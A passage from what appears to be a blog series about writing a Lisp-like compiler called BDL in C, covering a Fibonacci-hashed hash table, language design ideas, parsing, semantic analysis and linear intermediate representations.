The insertion is divided in two parts: check if we must grow the hash table and properly insert the given pair. The insertion follows the same pattern as the lookup, we just need to make sure that we increase the table size if we are inserting a new element and not updating an existing one.

void
_ht_insert(HashTable *table, const Object *key, const Object *value) {
    size_t position = ht_hash(table, key);
    size_t probe_position = position;

    // Verify the key in that position is free. If not, use linear probing to
    // find the next free slot.
    HashTablePair *pairs = table->pairs;
    while (true) {
        if (pairs[probe_position].key == NULL) {
            array_head(pairs)->size++;
            break;
        }
        if (obj_eq(pairs[probe_position].key, key)) {
            break;
        }
        if (probe_position == array_cap(pairs) - 1) {
            probe_position = 0;
        } else {
            probe_position++;
        }
    }
    pairs[probe_position].key = (Object *)key;
    pairs[probe_position].value = (Object *)value;
}

void
ht_insert(HashTable *table, const Object *key, const Object *value) {
    _ht_maybe_grow(table);
    _ht_insert(table, key, value);
    return;
}

Growing the table will happen when the load factor surpasses the selected threshold. A new array is allocated with double the capacity of the previous one. It is subsequently cleared and the key-value pairs in the previous array gets rehashed for the updated table. Finally the previous array gets freed.

void
_ht_maybe_grow(HashTable *table) {
    HashTablePair *pairs = table->pairs;
    if (ht_load_factor(table) < HT_LOAD_THRESHOLD) {
        return;
    }

    // Create a new array with 2x capacity.
    table->pairs = NULL;
    array_init(table->pairs, array_cap(pairs) * 2);
    for (size_t i = 0; i < array_cap(table->pairs); i++) {
        table->pairs[i] = (HashTablePair){NULL, NULL};
    }

    // Hash everything in the table for the new array capacity.
    for (size_t i = 0; i < array_cap(pairs); i++) {
        if (pairs[i].key != NULL) {
            _ht_insert(table, pairs[i].key, pairs[i].value);
        }
    }

    // Free the old array.
    array_free(pairs);
}

The last thing we need to provide is a way of freeing the table and all memory within.

void
ht_free(HashTable *table) {
    if (table == NULL) {
        return;
    }
    if (table->pairs == NULL) {
        return;
    }
    array_free(table->pairs);
    free(table);
}

But what about the hash function? Here is an example of the simplest hash function we can use:

uint64_t
ht_hash(const HashTable *table, const Object *key) {
    return 0;
}

Yeah this is pretty dumb, since every single thing we lookup or insert will have a collision (except the first element). However with this function we can test that the testing code works properly. If we initialized a table with a capacity of 2 we can test also if growing the table works properly after inserting 3 elements. But we obviously can do better!

A lot of people invested a lot of time trying to find fast, well behaved and uniform hash functions. For a hash table there are two things we need:

1. A hash function that outputs a large random-looking number (possibly u64).
2. A way of mapping a large number into a smaller value (constrained to the capacity of the hash table).

For the first point, lot of options are available, but personally I like to use a simple xor + circular shift hash function for large values and the identity function for data that fits in a 64 bits. More on that later.

Mapping a large number into a small value is typically made with the modulo operator, which can be far from ideal since it can be slow. Alternatively, if the table is a power of two, we can just chop out the upper bits of the hash number with a logical and (hash & (cap - 1)), which is the equivalent of the modulo operation. I learned of a different method in an article by Malte Skarupke, that emphasizes that the Fibonacci hashing proposed by Donald Knuth in The Art of Computer Programming can be used for this purpose. I like this approach, since the multiplicative Fibonacci hashing is not very good by itself, but it can be used as a finalizer for a simpler hash function (like the previously mentioned xor-shift function), resulting in similar insertion and lookup performance.

I’ve tested this technique for different types of data in other hash table implementations and performance tends to be excellent, which is why I’m also using it here. Someday I may post a number of benchmarks comparing this method to alternative solutions in C and C++, but that will have to wait. This places the restriction that our hash table has to grow by powers of two, so be aware of that when initializing the table. Here is the Fibonacci hash:

static inline uint64_t
_fibonacci_hash(uint64_t hash, size_t shift_amount) {
    return (hash * UINT64_C(11400714819323198485)) >> (64 - shift_amount);
}

The shift_amount correspond with the number of bits used to represent the capacity for example, if the capacity is 1024 bytes long:

cap := 1024 = 2 ^ 10, shift_amount := 10

We don’t want to be calculating this for every hash, so we store the result in the hash table struct:

typedef struct HashTable {
    HashTablePair *pairs;
    uint8_t shift_amount;
} HashTable;

Since we always grow the table by a power of 2, we just need to increment one the shift amount every time we grow the table:

    ...
    // Create a new array with 2x capacity.
    table->pairs = NULL;
    array_init(table->pairs, array_cap(pairs) * 2);
    for (size_t i = 0; i < array_cap(table->pairs); i++) {
        table->pairs[i] = (HashTablePair){NULL, NULL};
    }
    table->shift_amount++;
    ...

The only thing left to do is to write the hash function for Objects. As mentioned, we use a xor_shift_hash for strings and symbols and the identity for numbers. For other types we use the pointer address instead. The constant in the string hash is a bunch of random numbers I got from a random number generator, but it is not terribly important, you could as well use 0xbadd10debadd10de :), though the random numbers should work better I guess. Remember we are not trying to get the best most uniform hash function, just a simple function that compiles to the least number of instructions while doing its job of scrambling the bits around.

static inline uint64_t
_xor_shift_hash(const char *key, size_t n) {
    uint64_t hash = 0x65d9d65f6a19574f;
    char *last = (char *)key + n;
    while (key != last) {
        hash ^= (uint64_t)*key++;
        hash = (hash << 8) | (hash >> (64 - 8));
    }
    return hash;
}

The hash table for Objects is as follows:

uint64_t
ht_hash(const HashTable *table, const Object *key) {
    uint64_t hash;
    switch (key->type) {
        case OBJ_TYPE_FIXNUM: {
            hash = key->fixnum;
        } break;
        case OBJ_TYPE_STRING: {
            hash = _xor_shift_hash(key->string, array_size(key->string));
        } break;
        case OBJ_TYPE_SYMBOL: {
            hash = _xor_shift_hash(key->symbol, array_size(key->symbol));
        } break;
        case OBJ_TYPE_BOOL:
        case OBJ_TYPE_NIL:
        case OBJ_TYPE_PAIR:
        case OBJ_TYPE_LAMBDA:
        case OBJ_TYPE_PROCEDURE:
        case OBJ_TYPE_ERR: {
            hash = (uintptr_t)key;
        } break;
    }
    hash = _fibonacci_hash(hash, table->shift_amount);
    return hash;
}

And with that we have a fully functioning hash table, although we are currently not supporting deletion. Most of this hash table could be made generic by using void pointers and storing an equality function between types and the main hash function:

typedef uint64_t (HashFunction)(const struct HashTable *table, const void *data);
typedef bool (EqFunction)(const void *a, const void *b);

typedef struct HashTablePair {
    void *key;
    void *value;
} HashTablePair;

typedef struct HashTable {
    HashTablePair *pairs;
    HashFunction hash_function;
    EqFunction eq_function;
    uint8_t shift_amount;
} HashTable;

We will not yet go that far, but it is a possibility in the future. We can now substitute our environments with these hash tables, which I did for the current version. However! Using hash tables for environments proved to actually be slower than the arrays of the previous implementation, probably because of cache locality, but we actually may speed things up with other tricks. I’ll leave it as is for now as a pedagogical example, an O(1) algorithm is actually slower than O(n)!.

Conclusion

In this entry we have focused on a couple of basic data structure implemented in C rather than language features. Having these in place, however, will make the development moving forward much more flexible. In the next entry we will start the skeleton for a bytecode VM interpreter. As usual, you can download the code at this point in time if you go to tag v0.7. See you around!

Introduction

It’s been a while since the last post and in the meantime I’ve been testing a lot of things I was interested in, including the implementation of a bytecode VM and x86_64 code generation via NASM. The former was aided by the Crafting Interpreters book and the later was a nice experiment in stack-based native compilation, learning some more details of x86 assembly as I moved around. Both of these experiments are at different levels of completion, and the native codegen got to a point of implementing tail recursive function calls. They have been valuable learning experiences, but I discovered some shortcomings in my approach and a lack of design and scope in the language. I also started reading more compiler books, I found Engineering: A compiler very interesting, even if a bit dense at times. As I read this book, I’m confronted with new questions about type systems, intermediate representations and potential for optimization.

I did some soul searching about what I want this language to be, for this reason I believe is time to thing about this project in a more structured way. I’ll be using this post as a sketchboard of ideas and wishes for the language based on my actual preferences instead of just as a learning exercise (which is still is!). If you have been following along, you can check the most recent commit at the time of this writing or the one before the intermediate representation refactoring. Bear in mind that a lot has changed since the last entry, so feel free to check the bdl repo history at your own leisure.

A departure from expectations

The first thing I want to consider is that this is currently a toy language and I’m not sure I want or need it to have any sort of adoption. I have to design the language for me, because I want to actually use it for my projects and have fun with it!

Syntax

Possibly the least important aspect to consider at the start, in my opinion. It’s not that is not useful to design a comfortable syntax, after all, it is the UX of your language. The issue is that people get caught up in minute details of syntax instead of focusing on other important language design considerations. For now I don’t mind to have a parenthesised language. Lisps are easy to parse and understand. Yes the closing parentheses can be annoying sometimes, but that’s why we use text editors to help us navigate them. Maybe this will change in the future, but for now we will be keeping the Lisp nature of the language with a few extensions discussed below. Some syntax examples will be shown below, but this doesn’t express a final decision on the finished language.

Symbolic computations

The first departure from a traditional Lisp is the removal of symbolic computations. Lisp was created with this purpose in mind, and I can’t argue the power of quoting, code as data and the homoiconicity of the language. For my use case, at least for now, this property seems a bit wasted. I’m not sure if I want a language that is easily extensible, as this power creates dissonance when reading unfamiliar (or forgotten) code snippets. Furthermore, this adds some extra complexity to the language that I’m not ready to address. This is not to say that it can’t be implemented, but right now I choose to forgo thinking about quoting and eval in favor of a more structured approach to the language.

The type system

Lisps are typically dynamically typed languages. There are some dialects that implement type hints or optional typing, but not being statically typed by default have some implications, specially when thinking about code generation. Additionally, type checking may be necessary at runtime, depending on compiler optimizations, which also can hinder performance.

Personally I like the ergonomics of dynamic typing, but I certainly prefer static typing, specially when refactoring a large codebase. I want this language to be statically typed but with a strong inference system. Potentially a Hindley–Milner type system could be set in place, but at first I think is best to use a simple type system without parametric polymorphism.

Colon syntax

The type of a variable or primitive can be specified with colon syntax. The colon character : starts a type definition. The next non-whitespace character starts the type name, which continues until a non whitespace character is found, meaning :u64 and : u64 are all equivalent.

For example, for defining a u16 variable foo containing the value 10:

(def foo:u16 10)

Once the variable has been defined, updating the value doesn’t require the type annotation. Additionally, omitting the type information is legal as long as the type can be inferred:

(def foo 7)

For functions and lambdas the arguments and return value types can be specified:

(fun foo (a: u16 b: u32): u32
    ...
    )

(lambda(a: u16 b: u32):u32 ...)

Base types

The language should support differently sized signed and unsigned integers (s8, s16, s32, s64, u8, u16, u32, u64). Similarly, IEEE floating point values should also be included (f32, f64). Other numeric types could also be supported in the future, such as big numbers, complex or rationals. The full numeric tower as described by Scheme should be considered, and it may be implemented at a later date, but it has low priority for the initial implementation stages. It may be desirable to include some shorthand for signed or unsigned integers that fit best the architecture (akin to size_t or ssize_t in C). When parsing numeric types by default base 10 is used, but we should support hexadecimal 0xaabb and binary 0b11001101 notation. Potentially scientific notation as well (1e10) but with lower priority.

The language should support UTF-8 encoded characters, so we may need some sort of rune type. The initial implementation will just use the ASCII range for characters using u8 as the base type.

Booleans are to be included, either as a single type that can take only two values or as two distinct singleton types true and false.

The null type nil may also be included to express the lack of value for different operations.

Arrays

Arrays are extremely important, specially in modern CPUs, where cache locality have a massive impact on performance. It makes sense to support an array type that is ergonomic to use. We could support multi-dimensional arrays, but we should start the implementation from 1D arrays and go from there. We can differentiate between static arrays (arr) and dynamic arrays (darr). Static arrays contain exclusively the data, whereas dynamic arrays also require a current size and capacity and may grow if pushing elements when full.

struct DArray {
    size_t size;
    size_t capacity;
    u8 *data;
};

struct Array {
    u8 data[array_size];
};

We should be able to easily access array elements using bracket syntax with an index both for reading (my-array[10]) or updating values ((set! my-array[10] value)). Arrays can be created with a primitive procedure that includes the array length: (make-array u64 10)

Strings

The string type should be immutable and store their length along with the string data. We may want to consider separating strings into long strings and short strings. Short strings could be stored in a single 64bit register, whereas long strings require a pointer indirection. Strings should store their length with the data to avoid having to traverse the string to find it. In broad strokes a string implementation in C could be defined as:

struct String {
    size_t length;
    u8 *data;
};

struct ShortString {
    // This is overkill, since for ASCII the maximum length is 8. Bear in mind
    // this is only an example, a more sophisticated implementation of short
    // strings can be used.
    u8 length;
    u8 data[7];
};

Structures

We should allow the user to define new types derived from base types or previously defined user types. When defining a struct, all fields should have a type annotation. For example to create the user type my-type with a u16 filed named a and a f32 field named b:

(struct my-type
    a: u16
    b: f32)

To zero initialize a struct type and assign it to variable x:

(def x:my-type {})

If you want to manually initialize one field while zero initializing the rest:

(def x:my-type {.b 0.8})

To initialize all fields:

(def x:my-type {.a 10 .b 30.8})

We may want to add a way of specifying default values for fields instead of zero initializing them, for example:

(struct my-type
    a: u16 ! 42
    b: f32 ! 0.1)

; or

(struct my-type
    a 42: u16
    b 0.1: f32)

I haven’t settled yet on the best approach for this, so it will have lower priority on the initial implementation.

We also should be able to print structs by default and accessing fields uses dot notation:

(print x)
; -> {.a 10 .b 30.8}

(print x.a)
; -> 10

We may want to allow unions as well as structs but this may change depending on how we evolve the type system.

Pointers

I would like to include pointers for direct memory manipulation, but would like to have a mechanism for avoiding out of bounds access. I’m not sure yet what is the best approach for this or if this is even realistic. For the time being, I think we should be able to create a pointer by taking the address of an existing variable using the @ operator.

(def foo:u32 42)
(def bar @foo) ; bar is now a pointer to u32

To specify a pointer with colon syntax we use the @ symbol before the type. In the previous example, bar is of type :@u32. Without inference:

(def bar:@u32 @foo)

Setting a value:

(print foo) ; -> 42
(set! bar 10)
(print foo) ; -> 10

If we want to set the value at index * sizeof(type):

(def a (make-array u16 5))
(def baz @a) ; Note that it is pointing to the data section, not the array object.
(set! baz[2] 10)
(print a) ; -> [0 0 10 0 0]

The way of operating with pointers is subject to change, since I’m still figuring things out.

Execution models (VM vs native and the “computer in a box”)

Ideally the compiler should support compilation to bytecode (to be executed by a virtual machine) and generation of native code for x86_64 and arm/aarch64. VMs are flexible, can be easily ported and are easier to debug than native code, but they incur a performance overhead and may make more difficult the distribution of standalone executables. I think that having VM that includes a graphics/input/io system is very valuable for quick sketchs and/or utilities. Something akin to uxn and the vavara VM is very interesting to me.

The choice of intermediate representations may be informed by the type of execution model. In the end I would like to have an optimizing compiler, and it seems the use of three-address code (TAC) is widely used for this purpose. On the other hand I’m more familiar with stack-based VMs and code generation and have already written some prototypes in this form for bdl. Should I implement a stack VM or register based? Seems like going from TAC IR to stack bytecode is simpler than the contrary, but TAC maps better for native compilation. Hopefully I’ll make up my mind soon as to what to do for this topic. I need to finish some more books and find more resources with pros and cons for both approaches.

To close or not to close

Implementing closures have been a pain, but also satisfying. I’m still debating if their inclusion is justified for my usual programming workflow. I floated this question on the fedi and people smarter than me suggested that they should be free to implement if we are performing escape analysis, which we may have to do anyway when using pointers. Specifically, the question, is if we should solve the “upwards-funarg problem”. Ultimately, I may choose not to implement closures, but once the rest of the infrastructure is in place I could reconsider.

Memory models

Seems like all memory models have their disadvantages. I’m still debating if I should opt for memory management, tracing garbage collection or automatic reference counting. Seems like all of them have their disadvantages, but I also don’t want to be worrying about memory in the same way as I do with C. Maybe a hybrid model would be best, in which GC or ARC is enabled by default but we could chose to disable it in favor of manual memory management.

Conclusion

This entry is more of a casual design document than an actual tutorial of any kind, but I hope I can use it as a way of clarifying my thoughts on this language and what I want or am prepared to tackle. If you have some comments on this article, please hit me up on the fedi, I would love to hear your opinion. Until next time!

Introduction/Language update

Hello there! Some of the ideas described in the previous post have been slowly percolating in the background. The rewrite of BDL to adopt some of those ideas is going well. The lexer hasn’t changed much, it is still quite simple, only requiring the detection of numeric types (but not yet parsing them). A numeric token is marked when it starts with -/+ followed by a numeric character (or just starting on the later). Additionally, some token types have been added for builtin functions or constants:

static const Keyword keywords[] = {
    KEYWORD("nil",    TOKEN_NIL),
    KEYWORD("true",   TOKEN_TRUE),
    KEYWORD("false",  TOKEN_FALSE),
    KEYWORD("lambda", TOKEN_LAMBDA),
    KEYWORD("if",     TOKEN_IF),
    KEYWORD("def",    TOKEN_DEF),
    KEYWORD("set",    TOKEN_SET),
    KEYWORD("fun",    TOKEN_FUN),
    KEYWORD("struct", TOKEN_STRUCT),
    KEYWORD("+",      TOKEN_ADD),
    KEYWORD("-",      TOKEN_SUB),
    KEYWORD("*",      TOKEN_MUL),
    KEYWORD("/",      TOKEN_DIV),
    KEYWORD("%",      TOKEN_MOD),
    KEYWORD("not",    TOKEN_NOT),
    KEYWORD("and",    TOKEN_AND),
    KEYWORD("or",     TOKEN_OR),
    KEYWORD("=",      TOKEN_EQ),
    KEYWORD("<",      TOKEN_LT),
    KEYWORD(">",      TOKEN_GT),
    KEYWORD("<=",     TOKEN_LE),
    KEYWORD(">=",     TOKEN_GE),
};

The parser’s task is to interpret the sequences of tokens to generate a series of root expressions/subtrees according to the grammar of the language. For example, the following generates three root expressions (Variable definition, function declaration and function call):

(def a:s64 1)

(fun fib (n: s64): s64
    (if (<= n 2)
        1
        (+ (fib (- n 1)) (fib (- n 2)))))

(fib a)

Currently we require type annotations for symbols in variable declarations, function parameters/return types but more on that later. Each of these trees is composed of a number of nodes, not too dissimilar from what we used in previous iterations of the language. Nodes are tagged union structs that keep track of the line/column of the expression that generated them and the relevant information for each node type:

typedef enum NodeType {
    NODE_BUILTIN,
    NODE_NUMBER,
    NODE_BOOL,
    NODE_STRING,
    NODE_SYMBOL,
    NODE_TYPE,
    NODE_DEF,
    NODE_SET,
    NODE_FUN,
    NODE_BLOCK,
    NODE_IF,
    NODE_FUNCALL,
} NodeType;

typedef struct Node {
    size_t id;
    NodeType type;
    size_t line;
    size_t col;
    struct Type *expr_type;

    union {
        // Numbers.
        struct {
            bool negative;
            size_t integral;
            size_t fractional;
        } number;

        // String/symbol/type.
        StringView string;

        // Boolean.
        bool boolean;

        // Builtin primitive.
        struct {
            TokenType type;
            struct Node **args;
        } builtin;

        // Function call.
        struct {
            struct Node *name;
            struct Node **args;
        } funcall;

        // Variable definition.
        struct {
            struct Node *symbol;
            struct Node *value;
            struct Node *type;
        } def;

        // Variable assignment.
        struct {
            struct Node *symbol;
            struct Node *value;
        } set;

        // Function definition.
        struct {
            struct Node *name;
            struct Node **param_names;
            struct Node **param_types;
            struct Node *return_type;
            struct Node *body;
        } fun;

        // Block statements.
        struct {
            struct Node **expr;
        } block;

        // If statement.
        struct {
            struct Node *cond;
            struct Node *expr_true;
            struct Node *expr_false;
        } ifexpr;
    };
} Node;

The parser still performed via recursive descent like so:

Node *
parse_next(Parser *parser) {
    Token tok = peek_token(parser);
    switch (tok.type) {
        case TOKEN_NUMBER: { return parse_number(parser); } break;
        case TOKEN_STRING: { return parse_string(parser); } break;
        case TOKEN_SYMBOL: { return parse_symbol(parser); } break;
        case TOKEN_TRUE:
        case TOKEN_FALSE: { return parse_bool(parser); } break;
        case TOKEN_LPAREN: { return parse_paren(parser); } break;
        case TOKEN_EOF: { return NULL; } break;
        case TOKEN_LCURLY: { return parse_block(parser); } break;
        default: {
            push_error(ERR_TYPE_PARSER, ERR_UNKNOWN_TOK_TYPE, tok.line, tok.col);
            return NULL;
        } break;
    }
}

Where each of the relevant token types is handled in individual functions that can call each other. Note that there are currently four special function calls that need to be handled separately (def, set, fun,if), and we now have the concept of builtin functions, like addition, division, or boolean comparisons. Builtin functions can take any number of arguments, whereas this is not currently allowed in user defined functions:

Node *
parse_paren(Parser *parser) {
    next_token(parser); // Skip paren.

    Token tok = peek_token(parser);

    switch (tok.type) {
        // Builtin functions.
        case TOKEN_ADD:
        case TOKEN_SUB:
        case TOKEN_MUL:
        case TOKEN_DIV:
        case TOKEN_MOD:
        case TOKEN_NOT:
        case TOKEN_AND:
        case TOKEN_OR:
        case TOKEN_EQ:
        case TOKEN_LT:
        case TOKEN_GT:
        case TOKEN_LE:
        case TOKEN_GE: { return parse_builtin(parser); } break;
        // Special functions.
        case TOKEN_DEF: { return parse_def(parser); } break;
        case TOKEN_SET: { return parse_set(parser); } break;
        case TOKEN_FUN: { return parse_fun(parser); } break;
        case TOKEN_IF: { return parse_if(parser); } break;
        default: break;
    }

    return parse_funcall(parser);
}

One recent addition to the language is the inclusion of expression blocks, defined by curly braces containing a number of expressions { e1 e2 ... eN }. A block returns the result of the last expression in it eN. These can be considered syntactic sugar for something like (begin e1 e2 ... eN) in Scheme and also introduce a new scope which enable us to do something like:

(def a:str "lexical scoping allows variable shadowing")

(def example:s64
    (if true {
        (def a:s64 2)
        (def b:s64 4)
        (+ a b)
    } {
        (def a:s64 8)
        (+ a 42)
    }))

This is a pretty silly example, but hopefully the usage is clear. This also affects function definitions. Now functions take a single expression as a body, but curly braces can be used for the previous behaviour:

(fun foo (c: s64):s64 {
    (def a:s64 2)
    (def b:s64 4)
    (+ a b c)
})

(foo 10) ; -> returns 16

I think this chimeric mixture between C-like and lisp languages is pretty cool, and standardizes the behaviour of blocks and lexical scoping. Bear in mind that a function with a single expression or a block expression create a single scope in both cases, being a special case of block usage.

In the next section I will discuss the type system and semantic analysis in its current state, but before that I would also like to briefly mention that there are some new options in the compiler that allow us to visualize the data structures of intermediate data structures:

Usage: bdl [options] <filename filename ...>

        -h              Show usage.
        -p [l|p|s|t]    Print mode for [l]exing, [p]arsing, [s]emantic analysis, symbol [t]ables.

The compiler generates plain text files that when applicable, can be fed to graphviz to generate nice plots to help us debug and understand our code. For example, for the initial code snippet with the fibonacci function:

(def a:s64 1)

(fun fib (n: s64): s64
    (if (<= n 2)
        1
        (+ (fib (- n 1)) (fib (- n 2)))))

(fib a)

Lexing:

[   1:1    ] LPAREN
[   1:2    ] DEF
[   1:6    ] SYMBOL -> a
[   1:7    ] COLON
[   1:8    ] SYMBOL -> s64
[   1:12   ] NUMBER -> 10
[   1:14   ] RPAREN
[   3:1    ] LPAREN
[   3:2    ] FUN
[   3:6    ] SYMBOL -> fib
[   3:10   ] LPAREN
[   3:11   ] SYMBOL -> n
[   3:12   ] COLON
[   3:14   ] SYMBOL -> s64
[   3:17   ] RPAREN
[   3:18   ] COLON
[   3:20   ] SYMBOL -> s64
[   4:5    ] LPAREN
[   4:6    ] IF
[   4:9    ] LPAREN
[   4:10   ] LE
[   4:13   ] SYMBOL -> n
[   4:15   ] NUMBER -> 2
[   4:16   ] RPAREN
[   5:9    ] NUMBER -> 1
[   6:9    ] LPAREN
[   6:10   ] ADD
[   6:12   ] LPAREN
[   6:13   ] SYMBOL -> fib
[   6:17   ] LPAREN
[   6:18   ] SUB
[   6:20   ] SYMBOL -> n
[   6:22   ] NUMBER -> 1
[   6:23   ] RPAREN
[   6:24   ] RPAREN
[   6:26   ] LPAREN
[   6:27   ] SYMBOL -> fib
[   6:31   ] LPAREN
[   6:32   ] SUB
[   6:34   ] SYMBOL -> n
[   6:36   ] NUMBER -> 2
[   6:37   ] RPAREN
[   6:38   ] RPAREN
[   6:39   ] RPAREN
[   6:40   ] RPAREN
[   6:41   ] RPAREN
[   8:1    ] LPAREN
[   8:2    ] SYMBOL -> fib
[   8:6    ] SYMBOL -> a
[   8:7    ] RPAREN
[   9:1    ] EOF

Parsing:

Semantic analysis tree:

Semantic analysis symbol tables:

The idea for these visualizations came from this Twitter thread and I am so happy I discovered it. These visualizations already helped me find a number of bugs during development and they where pretty easy to implement.

Semantic analysis

Sometimes semantic analysis is bundled in the parser step, but I like the idea of keeping phases separated. The lexer generates a token list (tokens), the parser uses said list to generate a number of expression trees (grammar) and the semantic analyzer annotates these trees, generates symbol tables and performs type checking (semantics). The two main things that we want to do in the semantic analysis stage is to ensure that symbols are defined before usage and that function and variable types match the expected behaviour. We performed these steps simultaneously, since both involve the traversal of the expression trees. We do, however, allow function definitions in the global scope to be anywhere to avoid having to forward declare them. In the future we may consider splitting this into two passes, but the bulk of the work is on the type checking side so it is fine for now.

The management of symbol tables should be familiar if you have been following along with the rest of the series. We achieve lexical scoping by having a hierarchical list of hash tables (remember Environments?).

typedef struct Scope {
    size_t id;
    struct Scope *parent;
    HashTable *symbols;
    HashTable *types;
} Scope;

As you can see, we also keep track of defined types, which we populate with default types (u16, u8, s64, str, bool, etc.). At the moment of this writing, structs, arrays and references have not been fully implemented yet, so there are no user defined types for now, but they will be in the future.

For type checking, we are going to use a very simple monomorphic (i.e. not polymorphic) approach. That is, types need to match exactly and there are no generic types. Constants such as "hello" or true have implicit types of str and bool respectively. Expressions like def or fun don’t return anything, and thus have type void. Numbers are a bit more complicated, but for now we follow a very simple approach: if a number has a fractional part the type is f64 and if not s64. This will likely change in the future, specially once we allow for type annotations for numeric constants, but it will do for now.

If expressions return a value, so if the expression contains the optional else branch, both true and false expressions need to return values of the same type. In case we don’t have an else expression, the expression if true must be of type void. Furthermore, the conditional expression must have type bool.

In case of def expressions, we ensure that the given annotation and the type of the value expression match. Similarly, we check calls to user defined functions to ensure the arguments match the formal parameters and the return type also meets the expectation.

Builtin functions are treated specially, for example we ensure that all arguments given to not, and, and or are of type bool and that numeric expressions (+, -, <=, etc.) have numeric arguments. Here we run into an issue though, because certain numeric types can be safely converted to other types, for example (+ a:u8 b:u64) should perform a u64 summation, since a, of type u8 safely fits inside a u64. We do however disallow mixing up floating point values with integers or signed and unsigned together. In the future we will likely have casting functions, but this requires thinking about some considerations I’m not ready to tackle right now. This type system may be scrapped in the future in favour of a more powerful polymorphic one, so I want to keep things simple for now.

We traverse the tree by recursively calling the resolve_type function, which returns false if an error occurred at any stage or true otherwise.

bool
resolve_type(ParseTree *ast, Scope *scope, Node *node) {
    if (node->expr_type != NULL) {
        return true;
    }
    switch (node->type) {
        case NODE_BUILTIN: {
        ...

The current scope is being passed around and as previously mentioned a new scope is instantiated for block nodes or function definitions:

        case NODE_BLOCK: {
            scope = alloc_scope(scope);
            array_push(ast->scopes, scope);
            for (size_t i = 0; i < array_size(node->block.expr); ++i) {
                Node *expr = node->block.expr[i];
                if (!resolve_type(ast, scope, expr)) {
                    return false;
                }
            }
            Node *last_expr = node->block.expr[array_size(node->block.expr) - 1];
            node->expr_type = last_expr->expr_type;
        } break;

In symbol tables we currently store the following Symbol value:

typedef enum SymbolType {
    SYMBOL_VAR,
    SYMBOL_PAR,
    SYMBOL_FUN,
} SymbolType;

typedef struct Symbol {
    Node *name;
    SymbolType type;

    union {
        struct {
            Node *type;
        } var;

        struct {
            Node **param_types;
            Node *return_type;
        } fun;
    };
} Symbol;

That is, as Symbol can store a variable (Declared with def), function parameter or a function type, which also keeps track of parameter types as well as return values. We insert a symbol with the following function, which allows the insertion if the current scope don’t have a symbol with the same name:

bool
insert_symbol(Scope *scope, Node *symbol, Symbol *val) {
    // Check if symbol already exists.
    HashTable *symbols = scope->symbols;
    if (ht_lookup(symbols, symbol) != NULL) {
        push_error(ERR_TYPE_PARSER, ERR_SYMBOL_REDEF, symbol->line, symbol->col);
        return false;
    }
    ht_insert(symbols, symbol, val);
    return true;
}

When looking for symbols, however we traverse all parent scopes to see if it was defined previously.

Symbol *
find_symbol(Scope *scope, Node *node) {
    while (scope != NULL) {
        Symbol *val = ht_lookup(scope->symbols, node);
        if (val != NULL) {
            return val;
        }
        scope = scope->parent;
    }
    push_error(ERR_TYPE_PARSER, ERR_UNKNOWN_SYMBOL, node->line, node->col);
    return NULL;
}

All in all, the semantic analysis is pretty compact clocking at more or less 500 lines (not including the hash table implementation). It can use some improvements, and there are some considerations currently marked as TODOs, but hopefully is solid enough for now. Type inference will also be nice to have and it is certainly not difficult to add to def expressions if we just obviate the need for explicit annotations, but it will probably not be implemented for function parameters/return types until a more sophisticated type system is put in place.

Conclusion

It’s been a wild ride so far, and I have a big sense of Deja-Vu from rewriting the same compiler modules over an over, but I think this allowed me to understand my preferred way of implementing these things. I’m pretty happy with the current lexer and parser implementation, but the type system will likely change as we iterate over some new ideas. Likewise, I doubt the symbol tables contain sufficient information for further compilation stages, but the framework is in place and can be easily extended once there is the need. As mentioned, there are still some important features missing, however, advancing through different compilation stages typically yields new insights that may change the way we structure previous steps, so there is a case for gradual progress. For the next post, I’ll attempt to design a low-level linear IR that could be used for optimization and bytecode/assembly code generation. Stay tuned!

Introduction

In the previous post we went through a number of updates to the compiler and introduced the semantic analysis phase for type checking and symbol table generation. Here we will present the idea of linear intermediate representations and discuss the design we want to use for our language.

As the name indicates, an intermediate representation (IR) is just that, some passing data structure being used between the beginning and the end of the compilation process. The parsing tree we have used so far is an example of a graphical IR. Trees and graphs allow us to have a high-level overview of the source code and can be easily traversed for things like type checking or semantic analysis.

The end result of this compiler is to output bytecode, assembly code or a fully linked binary. These require us to linearize the source graph so that the instructions can be executed in a sequential order. Instead of generating assembly or bytecode directly, we can output a low-level representation of this linear code, which can be more easily translated to other architectures. This is our next IR, which we will lovingly name BASM (bdl assembly).

To stack or not to stack

The two most popular linear IRs are “one-address codes” (OAC) and “three-address codes” (TAC). The former is reminiscent of stack machines and the later more closely models RISC processors.

OAC IRs have operations that mostly deal with stack manipulation and require fewer registers. These IRs operators can be succinctly stored and make use of at most one parameter. On the other hand TAC contains a destination, an operator and at most two source parameters.

It will be much more clear with an example, so let’s imagine the following code:

(+ 1 2 (- 10 2 1))

A potential OAC translation (and the stack status after running this operation) could be:

CODE      | STACK
----------|---------
push 1    | [1]
push 2    | [1 2]
add       | [3]
push 10   | [3 10]
push 2    | [3 10 2]
sub       | [3 8]
push 1    | [3 8 1]
sub       | [3 7]
add       | [10]     <- final result is on the top of the stack

An equivalent TAC translation, without using the stack:

t1 = 1 + 2
t2 = 10 - 2
t3 = t2 - 1
t4 = t1 + t3         <- final result is on t4

Another TAC example, targeting an infinite registers machine. Note how this is much closer to the final assembly representation. In fact, this mimics more closely what a RISC processor might do:

load r1, 1
load r2, 2
add  r3, r1, r2
load r4, 10
load r5, 2
sub  r6, r4, r5
load r7, 1
sub  r8, r6, r7
add  r9, r3, r8      <- final result is on r9

In practice, real hardware have a limited number of registers so a register allocation step is needed for the final compilation. However, this low level representation could be easily compiled to a VM that could allocate as many registers as needed during execution. This is the form I’m interested in exploring as a target for linear IR and bytecode. Note that the generation of these instructions generates a new register as a destination for each operation, but this could have also be written as:

load r1, 1
load r2, 2
add  r1, r1, r2
load r2, 10
load r3, 2
sub  r2, r2, r3
load r3, 1
sub  r2, r2, r3
add  r1, r1, r2      <- final result is on r1

The number of registers was reduced to 3 in this form. This could be generated directly or wait until a later optimization stage. For example note how we load the numeric constant 1 on r1 and r7 in the first form and r1 and r3 in the second one. Since the first form keeps distinct names for each register, the load operations could be removed. This is not possible on the second form, since r1 is modified by the add operation and the initial context is lost. A smart compiler could reduce the first form to remove the number of load/store operations, since memory access tend to be one of the most expensive parts of a program.

load r1, 1
load r2, 2
add  r3, r1, r2
load r4, 10
sub  r5, r4, r2
sub  r6, r5, r1
add  r7, r3, r6

Of course there are many optimizations available that could be used to improve the quality of the generated code, and this is why TAC IRs are used in practice. In the following section we will draft the details of the proposed TAC IR.

BASM

